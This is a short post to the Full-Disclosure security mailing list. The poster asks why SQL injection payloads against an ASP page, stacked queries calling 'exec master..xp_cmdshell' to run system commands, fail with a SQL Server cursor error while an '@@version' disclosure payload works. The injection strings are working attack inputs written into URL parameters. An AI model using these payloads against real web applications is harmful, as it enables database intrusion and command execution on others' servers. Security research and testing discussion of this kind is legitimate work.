[Full-disclosure] SQL Injection with cursors?

[Andres Molinetti]

Hi,

I have another question, somehow related with my previous one.

I have an injection point, where I can do, for example

        test.asp?param=blabla' and 1=(select @@version)--

and injections of the sort, and retrieve the information without problems.

Now, when I try to execute a stored procedure like

       test.asp?param=blabla' exec master..xp_cmdshell 'dir'--

or

       test.asp?param=blabla'; exec master..xp_cmdshell 'dir'--

I get the following error:

Microsoft OLE DB Provider for SQL Server error '80040e14'
sp_cursoropen/sp_cursorprepare: The statement parameter can only be a single 
select or a single stored procedure.

Does anybody got an idea of why this is happening?

Best Regards,

Andy.

_________________________________________________________________
Dale rienda suelta a tu tiempo libre. Mil ideas para exprimir tu ocio con 
MSN Entretenimiento. http://entretenimiento.msn.es/